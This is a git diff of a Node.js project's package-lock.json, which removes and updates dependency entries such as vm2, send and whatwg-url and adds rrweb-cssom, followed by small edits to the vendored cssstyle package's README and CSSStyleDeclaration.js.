"node_modules/optionator": { - "version": "0.8.3", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", - "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", - "dependencies": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.6", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "word-wrap": "~1.2.3" - }, - "engines": { - "node": ">= 0.8.0" - } - }, "node_modules/parse5": { "version": "7.1.2", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", - "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "license": "MIT", "dependencies": { "entities": "^4.4.0" }, @@ -1187,116 +697,35 @@ "url": "https://github.com/inikulin/parse5?sponsor=1" } }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/path-is-absolute": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "optional": true, + "peer": true, "engines": { "node": ">=0.10.0" } }, - "node_modules/path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" - }, - "node_modules/prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - } - }, "node_modules/psl": { "version": "1.9.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", - "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + "license": "MIT" }, "node_modules/punycode": { "version": "2.3.0", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", - "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "license": "MIT", "engines": { "node": ">=6" } }, - "node_modules/qs": { - "version": "6.11.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz", - "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/querystringify": { "version": "2.2.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" - }, - "node_modules/range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/raw-body": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", - "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", - "dependencies": { - "bytes": "3.1.2", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/raw-body/node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } + "license": "MIT" }, "node_modules/readable-stream": { "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -1308,13 +737,13 @@ }, "node_modules/requires-port": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + "license": "MIT" }, "node_modules/rimraf": { "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "glob": "^7.1.3" }, @@ -1325,10 +754,13 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/rrweb-cssom": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz", + "integrity": "sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==" + }, "node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -1342,17 +774,18 @@ "type": "consulting", "url": "https://feross.org/support" } - ] + ], + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/safer-buffer": { "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + "license": "MIT" }, "node_modules/saxes": { "version": "6.0.0", - "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "license": "ISC", "dependencies": { "xmlchars": "^2.2.0" }, @@ -1362,8 +795,9 @@ }, "node_modules/semver": { "version": "7.3.8", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.8.tgz", - "integrity": "sha512-NB1ctGL5rlHrPJtFDVIVzTyQylMLu9N9VICA6HSFJo8MCGVTMW6gfpicwKmmK/dAjTOrqu5l63JJOpDSrAis3A==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "lru-cache": "^6.0.0" }, @@ -1374,93 +808,20 @@ "node": ">=10" } }, - "node_modules/send": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", - "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", - "dependencies": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "2.4.1", - "range-parser": "~1.2.1", - "statuses": "2.0.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/send/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/send/node_modules/debug/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/send/node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" - }, - "node_modules/serve-static": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", - "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", - "dependencies": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.18.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, "node_modules/set-blocking": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==" - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" - }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/signal-exit": { "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/simple-concat": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", - "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", "funding": [ { "type": "github", @@ -1474,47 +835,36 @@ "type": "consulting", "url": "https://feross.org/support" } - ] + ], + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/simple-get": { "version": "3.1.1", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-3.1.1.tgz", - "integrity": "sha512-CQ5LTKGfCpvE1K0n2us+kuMPbk/q0EKl82s4aheV9oXjFEz6W/Y7oQFVJuU6QG77hRT4Ghb5RURteF5vnWjupA==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "decompress-response": "^4.2.0", "once": "^1.3.1", "simple-concat": "^1.0.0" } }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/statuses": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", - "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "safe-buffer": "~5.2.0" } }, "node_modules/string-width": { "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -1526,8 +876,9 @@ }, "node_modules/strip-ansi": { "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "ansi-regex": "^5.0.1" }, @@ -1537,13 +888,13 @@ }, "node_modules/symbol-tree": { "version": "3.2.4", - "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" + "license": "MIT" }, "node_modules/tar": { "version": "6.1.13", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.13.tgz", - "integrity": "sha512-jdIBIN6LTIe2jqzay/2vtYLlBHa3JF42ot3h1dW8Q0PaAG4v8rm0cvpVePtau5C6OKXGGcgO9q2AMNSWxiLqKw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "chownr": "^2.0.0", "fs-minipass": "^2.0.0", @@ -1556,18 +907,9 @@ "node": ">=10" } }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "engines": { - "node": ">=0.6" - } - }, "node_modules/tough-cookie": { "version": "4.1.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.2.tgz", - "integrity": "sha512-G9fqXWoYFZgTc2z8Q5zaHy/vJMjm+WV0AkAeHxVCQiEB1b+dGvWzFW6QV07cY5jQ5gRkeid2qIkzkxUnmoQZUQ==", + "license": "BSD-3-Clause", "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", @@ -1579,59 +921,26 @@ } }, "node_modules/tr46": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", - "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-4.1.1.tgz", + "integrity": "sha512-2lv/66T7e5yNyhAAC4NaKe5nVavzuGJQVVtRYLyQ2OI8tsJ61PMLlelehb0wi2Hx6+hT/OJUWZcw8MjlSRnxvw==", "dependencies": { - "punycode": "^2.1.1" + "punycode": "^2.3.0" }, "engines": { - "node": ">=12" - } - }, - "node_modules/type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", - "dependencies": { - "prelude-ls": "~1.1.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - "dependencies": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" - }, - "engines": { - "node": ">= 0.6" + "node": ">=14" } }, "node_modules/universalify": { "version": "0.2.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "license": "MIT", "engines": { "node": ">= 4.0.0" } }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/url-parse": { "version": "1.5.10", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "license": "MIT", "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" @@ -1639,44 +948,13 @@ }, "node_modules/util-deprecate": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" - }, - "node_modules/utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/vm2": { - "version": "3.9.14", - "resolved": "https://registry.npmjs.org/vm2/-/vm2-3.9.14.tgz", - "integrity": "sha512-HgvPHYHeQy8+QhzlFryvSteA4uQLBCOub02mgqdR+0bN/akRZ48TGB1v0aCv7ksyc0HXx16AZtMHKS38alc6TA==", - "dependencies": { - "acorn": "^8.7.0", - "acorn-walk": "^8.2.0" - }, - "bin": { - "vm2": "bin/vm2" - }, - "engines": { - "node": ">=6.0" - } + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/w3c-xmlserializer": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz", - "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==", + "license": "MIT", "dependencies": { "xml-name-validator": "^4.0.0" }, @@ -1686,16 +964,14 @@ }, "node_modules/webidl-conversions": { "version": "7.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "license": "BSD-2-Clause", "engines": { "node": ">=12" } }, "node_modules/whatwg-encoding": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", - "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "license": "MIT", "dependencies": { "iconv-lite": "0.6.3" }, @@ -1705,49 +981,42 @@ }, "node_modules/whatwg-mimetype": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", - "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "license": "MIT", "engines": { "node": ">=12" } }, "node_modules/whatwg-url": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", - "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-12.0.1.tgz", + "integrity": "sha512-Ed/LrqB8EPlGxjS+TrsXcpUond1mhccS3pchLhzSgPCnTimUCKj3IZE75pAs5m6heB2U2TMerKFUXheyHY+VDQ==", "dependencies": { - "tr46": "^3.0.0", + "tr46": "^4.1.1", "webidl-conversions": "^7.0.0" }, "engines": { - "node": ">=12" + "node": ">=14" } }, "node_modules/wide-align": { "version": "1.1.5", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "string-width": "^1.0.2 || 2 || 3 || 4" } }, - "node_modules/word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/wrappy": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/ws": { - "version": "8.12.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.12.1.tgz", - "integrity": "sha512-1qo+M9Ba+xNhPB+YTWUlK6M17brTut5EXbcBaMRN5pH5dFrXz7lzz1ChFSUq3bOUl8yEvSenhHmYUNJxFzdJew==", + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", "engines": { "node": ">=10.0.0" }, @@ -1766,21 +1035,20 @@ }, "node_modules/xml-name-validator": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "license": "Apache-2.0", "engines": { "node": ">=12" } }, "node_modules/xmlchars": { "version": "2.2.0", - "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" + "license": "MIT" }, "node_modules/yallist": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + "license": "ISC", + "optional": true, + "peer": true } } } diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/README.md b/env_xbb_lastest_jsdom/node_modules/cssstyle/README.md index 00163456..e0ce185d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/README.md +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/README.md @@ -10,6 +10,6 @@ A Node JS implementation of the CSS Object Model [CSSStyleDeclaration interface] This package is an extension of the CSSStyleDeclaration class in Nikita Vasilyev's [CSSOM](https://github.com/NV/CSSOM) with added support for CSS 2 & 3 properties. The primary use case is for testing browser code in a Node environment. -It was originally created by Chad Walker, it is now maintaind by Jon Sakas and other open source contributors. +It was originally created by Chad Walker, it is now maintained by the jsdom community. Bug reports and pull requests are welcome. diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.js index bded9a44..9e7b0690 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.js @@ -3,7 +3,7 @@ * https://github.com/NV/CSSOM ********************************************************************/ 'use strict'; -var CSSOM = require('cssom'); +var CSSOM = require('rrweb-cssom'); var allProperties = require('./allProperties'); var allExtraProperties = require('./allExtraProperties'); var implementedProperties = require('./implementedProperties'); @@ -20,7 +20,7 @@ var CSSStyleDeclaration = function CSSStyleDeclaration(onChangeCallback) { this._length = 0; this._onChange = onChangeCallback || - function() { + function () { return; }; }; @@ -34,7 +34,7 @@ CSSStyleDeclaration.prototype = { * @return {string} the value of the property if it has been explicitly set for this declaration block. * Returns the empty string if the property has not been set. */ - getPropertyValue: function(name) { + getPropertyValue: function (name) { if (!this._values.hasOwnProperty(name)) { return ''; } @@ -48,7 +48,7 @@ CSSStyleDeclaration.prototype = { * @param {string} [priority=null] "important" or null * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration-setProperty */ - setProperty: function(name, value, priority) { + setProperty: function (name, value, priority) { if (value === undefined) { return; } @@ -69,7 +69,7 @@ CSSStyleDeclaration.prototype = { this[lowercaseName] = value; this._importants[lowercaseName] = priority; }, - _setProperty: function(name, value, priority) { + _setProperty: function (name, value, priority) { if (value === undefined) { return; } @@ -101,7 +101,7 @@ 